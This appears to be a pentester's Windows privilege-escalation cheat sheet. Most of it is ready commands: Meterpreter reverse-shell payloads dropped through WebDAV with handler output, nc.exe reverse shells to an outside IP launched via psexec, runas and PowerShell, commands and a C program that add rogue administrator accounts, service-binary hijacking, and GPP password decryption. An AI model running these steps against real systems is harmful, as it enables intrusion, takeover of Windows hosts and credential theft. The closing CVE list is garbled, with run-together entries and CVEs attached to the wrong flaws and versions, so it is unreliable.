

Windows

Windows Privilege Escalation resource
<http://www.fuzzysecurity.com/tutorials/16.html>

Try the getsystem command using meterpreter - rarely works but is worth a try.
'meterpreter > getsystem'

Metasploit Meterpreter Privilege Escalation Guide
<https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/>

Windows Server 2003 and IIS 6.0 WEBDAV Exploiting
<http://www.r00tsec.com/2011/09/exploiting-microsoft-iis-version-60.html>

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=443 -f asp > aspshell.txt
```

```
cadavar http://$ip
dav:/> put aspshell.txt
Uploading aspshell.txt to `/aspshell.txt':
Progress: [=====] 100.0% of 38468 bytes succeeded.
dav:/> copy aspshell.txt aspshell3.asp;.txt
Copying `/aspshell3.txt' to `/aspshell3.asp%3b.txt': succeeded.
dav:/> exit
```

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 1.2.3.4
msf exploit(handler) > set LPORT 80
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j
```

```
curl http://$ip/aspshell3.asp;.txt

[*] Started reverse TCP handler on 1.2.3.4:443
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 1.2.3.5
[*] Meterpreter session 1 opened (1.2.3.4:443 -> 1.2.3.5:1063) at 2017-09-25 13:10:55 -0700
```

Windows privilege escalation exploits are often written in Python. So, it is necessary to compile the using pyinstaller

```
pip install pyinstaller
wget -O exploit.py http://www.exploit-db.com/download/31853
python pyinstaller.py --onefile exploit.py
```

Windows Server 2003 and IIS 6.0 privilege escalation using impersonation:
<https://www.exploit-db.com/exploits/6705/>

```
https://github.com/Re4son/Churrasco
c:\Inetpub>churrasco
churrasco
/churrasco/>Usage: Churrasco.exe [-d] "command to run"

c:\Inetpub>churrasco -d "net user /add <username> <password>" 
c:\Inetpub>churrasco -d "net localgroup administrators <username> /add"
c:\Inetpub>churrasco -d "NET LOCALGROUP "Remote Desktop Users" <username> /ADD"
```

Windows MS11-080 - <http://www.exploit-db.com/exploits/18176/>
python pyinstaller.py --onefile ms11-080.py
ms11-080.exe -O XP

Powershell Exploits - You may find that some Windows privilege escalation exploits are written in Powershell. You may need to use powershell -ExecutionPolicy ByPass

```
MS16-032 https://www.exploit-db.com/exploits/39719/
`powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }" `
```

```
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
```

```
Windows Run As - Switching users in linux is trivial with the `SU` command. However, an equivalent command does not exist
```

```
Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you have
```

```
C:\>psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"
```

```
PsExec v2.2 - Execute processes remotely  
Copyright (C) 2001-2016 Mark Russinovich  
Sysinternals - www.sysinternals.com
```

```
Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know their password.
```

```
C:\>C:\Windows\System32\runas.exe /env /noprofile /user:Test "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"  
Enter the password for Test:
```

```
Attempting to start nc.exe as user "COMPUTERNAME\Test" ...
```

```
PowerShell can also be used to launch a process as another user. The following simple powershell script will run a reverse
```

```
$username = '<username here>'  
$password = '<password here>'  
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force  
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword  
Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList (" -nc ", "192.168.1.10 ")
```

```
Next run this script using powershell.exe:
```

```
`powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }" `
```

```
Windows Service Configuration Viewer - Check for misconfigurations  
in services that can lead to privilege escalation. You can replace  
the executable with your own and have windows execute whatever code  
you want as the privileged user.
```

```
icacls scsiaccess.exe
```

```
scsiaccess.exe  
NT AUTHORITY\SYSTEM:(I)(F)  
BUILTIN\Administrators:(I)(F)  
BUILTIN\Users:(I)(RX)  
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)  
Everyone:(I)(F)
```

```
Compile a custom add user command in windows using C
```

```
root@kali:~\# cat useradd.c  
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */  
int main ()  
{  
int i;  
i=system ("net localgroup administrators low /add");  
return 0;  
}
```

```
i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c
```

```
Group Policy Preferences (GPP)  
A common useful misconfiguration found in modern domain environments  
is unprotected Windows GPP settings files
```

```
map the Domain controller SYSVOL share  
'net use z:\\dc01\\SYSVOL'
```

```
Find the GPP file: Groups.xml  
'dir /s Groups.xml'
```

```
Review the contents for passwords
```

```

`type Groups.xml` 

Decrypt using GPP Decrypt
`gpp-decrypt riBZpPtHOGtVkJ+sdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB` 

Find and display the proof.txt or flag.txt - get the loot!
`#meterpreter > run post/windows/gather/win_privs` 
`cd\ & dir /b /s proof.txt` 
`type c:\path\to\proof.txt` 

##### Windows Priv Esc #####
Fuzzy Security
[*http://www.fuzzysecurity.com/tutorials/16.html*](http://www.fuzzysecurity.com/tutorials/16.html)

accesschk.exe
https://technet.microsoft.com/en-us/sysinternals/bb664922

Windows Priv Escalation For Pen Testers
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

Elevating Privileges to Admin and Further
https://hackmag.com/security/elevating-privileges-to-administrative-and-further/

Transfer files to windows machines
https://blog.netspi.com/15-ways-to-download-a-file/ 

[+] Windows vulnerabilities:
Windows XP:
CVE-2012-4349 Unquoted windows search path - Windows provides the capability of including spaces in path names - Internet Explorer does not properly handle objects in memory - allows remote execution of code via EXPLOIT-DB 14765 - Untrusted search path vulnerability - allows local users to gain privileges via EXPLOIT-DB 18275 - GDI in windows does not properly validate user-mode input - allows remote code ms02_063_pptp_dos - exploits a kernel based overflow when sending abnormal PPTP Control Data packets ms03_026_dcom - exploits a stack buffer overflow in the RPCSS service
CVE-2003-0352 ms04_011_lsass - exploits a stack buffer overflow in the LSASS service
CVE-2003-0533 ms04_011_pct - exploits a buffer overflow in the Microsoft Windows SSL PCT protocol stack - Private ms11_006Createseeddibsection - exploits a stack-based buffer overflow in thumbnails within .MIC
CVE-2003-0719 EXPLOIT-DB 14745 - Untrusted search path vulnerability in wab.exe - allows local users to gain privileges via ms03_049_netapi - exploits a stack buffer overflow in the NetApi32
CVE-2010-3970 ms04_007_killbill - vulnerability in the bit string decoding code in the Microsoft ASN.1 library
CVE-2010-3147 ms03_051_fp30reg_chunked - exploit for the chunked encoding buffer overflow described in MS03-051
CVE-2003-0812 ms04_031_netdde - exploits a stack buffer overflow in the NetDDE service
CVE-2003-0818
CVE-2003-0822
CVE-2004-0206

Windows 7:
CVE-2014-4114 ms14_060_sandworm - exploits a vulnerability found in Windows Object Linking and Embedding - arbitrary code execution via ms15_004_tswbproxy - abuses a process creation policy in Internet Explorer's sandbox - code execution via ms14_058_track_popup_menu - exploits a NULL Pointer Dereference in win32k.sys - arbitrary code execution via EXPLOIT-DB - Stack-based buffer overflow in the UpdateFrameTitleForDocument method - arbitrary code execution via remote code execution vulnerability exists when the Microsoft XML Core Services MSXML parser processes ms10_006_negotiate_response_loop - exploits a denial of service flaw in the Microsoft Windows SMB
CVE-2018-8494 EXPLOIT-DB 15894 - kernel-mode drivers in windows do not properly manage a window class - allows privilege escalation via ms10_015_kitrap0d - create a new session with SYSTEM privileges via the KiTrap0D exploit
CVE-2010-2744 ms10_054_queryfs_pool_overflow - exploits a denial of service flaw in the Microsoft Windows SMB
CVE-2010-0017 ms10_046_shortcut_icon_dllloader - exploits a vulnerability in the handling of Windows Shortcut files
CVE-2010-0232
CVE-2010-2550
CVE-2010-2568

Windows 8:
CVE-2013-0008 ms13_005_hwnd_broadcast - attacker can broadcast commands from lower Integrity Level process to a higher one via ms13_053_schlamperei - kernel pool overflow in Win32k - local privilege escalation
CVE-2013-1300 ppr_flatten_rec - exploits EPATHOBJ::pprFlattenRec due to the usage of uninitialized data - allows privilege escalation via ms13_090_cardspacesigninhelper - exploits CardSpaceClaimCollection class from the icardie.dll ActiveX control ms14_052_xmldom - uses Microsoft XMLDOM object to enumerate a remote machine's filenames
CVE-2013-3660 ms14_068_kerberos_checksum - exploits the Microsoft Kerberos implementation - privilege escalation via ms14_064_ole_code_execution - exploits the Windows OLE Automation array vulnerability
CVE-2013-3918 ms14_064_packager_python - exploits Windows Object Linking and Embedding (OLE) - arbitrary code execution via ntapphelpcachecontrol - NtApphelpCacheControl Improper Authorization Check - privilege escalation
CVE-2013-7331
CVE-2014-6324
CVE-2014-6332
CVE-2014-6352
CVE-2015-0002

Windows 10:
CVE-2015-1769 MS15-085 - Vulnerability in Mount Manager - Could Allow Elevation of Privilege
CVE-2015-2426 ms15_078_atmfd_bof MS15-078 - exploits a pool based buffer overflow in the atmfd.dll driver

```

CVE-2015-2479 MS15-092 - Vulnerabilities in .NET Framework - Allows Elevation of Privilege
CVE-2015-2513 MS15-098 - Vulnerabilities in Windows Journal - Could Allow Remote Code Execution
CVE-2015-2423 MS15-088 - Unsafe Command Line Parameter Passing - Could Allow Information Disclosure
CVE-2015-2431 MS15-080 - Vulnerabilities in Microsoft Graphics Component - Could Allow Remote Code Execution
CVE-2015-2441 MS15-091 - Vulnerabilities exist when Microsoft Edge improperly accesses objects in memory - allows exploits GUI component of Windows namely the scrollbar element - allows complete control of a Wind
CVE-2015-0057

Windows Server 2003:

CVE-2008-4114 ms09_001_write - exploits a denial of service vulnerability in the SRV.SYS driver - DoS
CVE-2008-4250 ms08_067_netapi - exploits a parsing flaw in the path canonicalization code of NetAPI32.dll - bypasses security checks and allows an attacker to execute code when a victim opens a specially crafted file - remote code execution
CVE-2017-8487